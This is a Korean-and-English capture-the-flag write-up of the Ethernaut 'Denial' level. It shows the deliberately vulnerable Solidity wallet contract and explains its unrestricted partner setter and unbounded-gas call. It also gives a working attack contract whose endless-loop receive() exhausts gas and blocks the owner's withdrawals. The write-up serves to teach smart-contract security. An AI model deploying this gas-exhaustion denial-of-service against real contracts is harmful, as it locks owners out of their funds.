Ethernaut 20 Denial
Ethernaut 20 DenialEthernaut 20 DenialEthernaut 20 Denial 문제 풀이Ethernaut 20 Denial writeup
Contents
문제
지문
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner. If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level. Things that might help Understanding how array storage works Understanding ABI specifications Using a very underhanded approach
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}배경지식
Solidity에서 address.call{value: amount}("")처럼 별도 gas 값을 지정하지 않으면 호출 시점에 전달 가능한 gas 대부분을 상대 컨트랙트로 넘긴다. 상대 컨트랙트의 receive나 fallback 함수가 복잡한 연산을 하거나 끝나지 않는 루프를 돌면, 호출한 쪽의 남은 gas까지 소모시킬 수 있다.
Denial.withdraw()는 partner.call(...)의 반환값을 확인하지 않는다. 하지만 이 문제에서는 반환값보다 gas가 더 직접적인 원인이다. 외부 호출 도중 gas가 전부 소모되면 다음 줄의 owner.transfer(...)까지 도달하지 못한다.
transfer는 수신자에게 2300 gas만 전달한다. 예전에는 단순 이더 전송에 안전한 방식으로 자주 소개됐고, 여기서는 앞의 call과 대비된다.
withdraw()는 먼저 partner에게 call을 하고, 그 다음 owner에게 transfer를 한다. 앞의 call에서 gas를 다 써버리면 뒤의 transfer는 실행되지 않는다. 이 문제의 목표는 owner의 출금을 계속 실패하게 만드는 것이다.
이 문제는 reentrancy attack으로 잔액을 빼내는 전형적인 패턴과 조금 다르다. partner.call(...)이 먼저 실행되는 구조는 reentrancy와 비슷하지만, 레벨 조건은 "컨트랙트에 자금이 남아 있는데 owner가 출금하지 못하게 만들기"다.
공격자는 partner가 된 뒤, 이더를 받을 때 남은 gas를 소모하는 컨트랙트를 준비하면 된다. 그러면 withdraw() 전체가 gas 부족으로 실패하는 DoS가 된다.
문제 코드 분석
먼저 누구나 바꿀 수 있는 partner 설정 부분이다.
function setWithdrawPartner(address _partner) public {
partner = _partner;
}setWithdrawPartner에는 권한 체크가 없다. 아무 주소나 partner로 등록할 수 있고, 컨트랙트 주소도 등록할 수 있다.
따라서 공격자는 악의적인 receive 함수를 가진 컨트랙트를 배포하고, 그 주소를 partner로 등록하면 된다. 이후 withdraw()가 호출될 때 제어 흐름이 공격 컨트랙트로 넘어온다.
다음은 외부 호출이 먼저 실행되는 withdraw()이다.
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}withdraw()는 잔액의 1%를 계산한 뒤 partner에게 먼저 이더를 보낸다. 그 다음에야 owner에게 같은 금액을 보낸다.
외부 호출이 상태 업데이트보다 먼저 나오는 것도 위험하지만, 여기서는 partner.call이 gas를 제한하지 않는 문제가 더 직접적이다. 공격 컨트랙트의 receive가 gas를 계속 소비하면 owner.transfer(amountToSend)에 도달하지 못한다.
마지막은 반환값을 무시하는 call이다.
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);주석에는 "recipient can revert, the owner will still get their share"라고 적혀 있다. 실제로 partner가 단순히 revert만 하면 call은 false를 반환하고 다음 줄로 넘어간다.
하지만 gas를 전부 소모하는 경우는 다르다. 실행을 계속할 gas가 남지 않기 때문에 반환값을 무시하고 넘어가는 처리가 소용없어진다. 그래서 공격은 revert 대신 gas exhaustion을 노린다.
풀이
먼저 공격 컨트랙트를 배포하고, setWithdrawPartner(address(this))로 이 컨트랙트를 partner에 등록한다. 이후 Ethernaut 레벨이 withdraw()를 호출하면 Denial은 partner.call{value: amountToSend}("")을 실행한다.
이때 공격 컨트랙트의 receive()가 실행된다. receive() 안에서 끝나지 않는 루프를 돌리면 call로 넘어온 gas를 계속 소모한다. 결국 withdraw()는 owner.transfer(amountToSend)를 실행할 gas를 확보하지 못하고 실패한다.
이 레벨의 조건은 owner 출금 방해이므로, call이 넘겨준 gas를 전부 소모하는 것이 가장 직접적인 방법이다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDenial {
function setWithdrawPartner(address _partner) external;
}
contract Attack {
IDenial private immutable denial;
constructor(address _denial) {
denial = IDenial(_denial);
}
function attack() external {
denial.setWithdrawPartner(address(this));
}
receive() external payable {
while (true) {}
}
}
Challenge
Description
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner. If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level. Things that might help Understanding how array storage works Understanding ABI specifications Using a very underhanded approach
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}Background
In Solidity, when you do not specify a gas amount, like address.call{value: amount}(""), most of the gas that can be forwarded at the time of the call is passed to the callee contract. If the callee's receive or fallback function performs heavy computation or runs an endless loop, it can burn through the caller's remaining gas as well.
Denial.withdraw() does not check the return value of partner.call(...). In this challenge, though, gas matters more than the return value. If all gas is consumed during the external call, execution never reaches the following owner.transfer(...).
transfer forwards only 2300 gas to the recipient. It used to be recommended as a safe way to send ether for simple transfers, and here it contrasts with the call before it.
withdraw() first does a call to partner, then a transfer to owner. If the call uses up all the gas, the transfer never runs. The goal of this challenge is to keep the owner's withdrawal failing.
This challenge differs slightly from the typical pattern of draining a balance with a reentrancy attack. Because partner.call(...) executes first, the setup resembles reentrancy, but the level's condition is "prevent the owner from withdrawing while the contract still holds funds."
The attacker becomes the partner and prepares a contract that consumes the remaining gas when it receives ether. That makes the entire withdraw() run out of gas and fail, which is the DoS.
Code analysis
The first piece is partner, which anyone can change.
function setWithdrawPartner(address _partner) public {
partner = _partner;
}setWithdrawPartner has no access control. Any address can be registered as partner, including a contract address.
So the attacker deploys a contract with a malicious receive function and registers its address as partner. When withdraw() is then called, control flow is handed over to the attacker contract.
Next is withdraw(), where the external call runs first.
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}withdraw() computes 1% of the balance and sends ether to partner first. Only afterward does it send the same amount to owner.
An external call before the state update is risky on its own, but the direct problem here is that partner.call does not limit gas. If the attacker contract's receive keeps consuming gas, execution never reaches owner.transfer(amountToSend).
Last is the call whose return value is ignored.
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);The comment says "recipient can revert, the owner will still get their share." That holds for a plain revert: the call returns false and execution moves on to the next line.
Consuming all the gas is different. No gas remains to continue execution, so ignoring the return value no longer helps. The attack therefore goes for gas exhaustion instead of a revert.
Solution
First deploy the attacker contract and register it as partner with setWithdrawPartner(address(this)). When the Ethernaut level then calls withdraw(), Denial executes partner.call{value: amountToSend}("").
At that point the attacker contract's receive() runs. Running an endless loop inside receive() keeps consuming the gas forwarded by the call. withdraw() is then left without the gas to run owner.transfer(amountToSend) and fails.
Since the level only asks you to block the owner's withdrawal, the most direct method is to consume all the gas the call forwards.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDenial {
function setWithdrawPartner(address _partner) external;
}
contract Attack {
IDenial private immutable denial;
constructor(address _denial) {
denial = IDenial(_denial);
}
function attack() external {
denial.setWithdrawPartner(address(this));
}
receive() external payable {
while (true) {}
}
}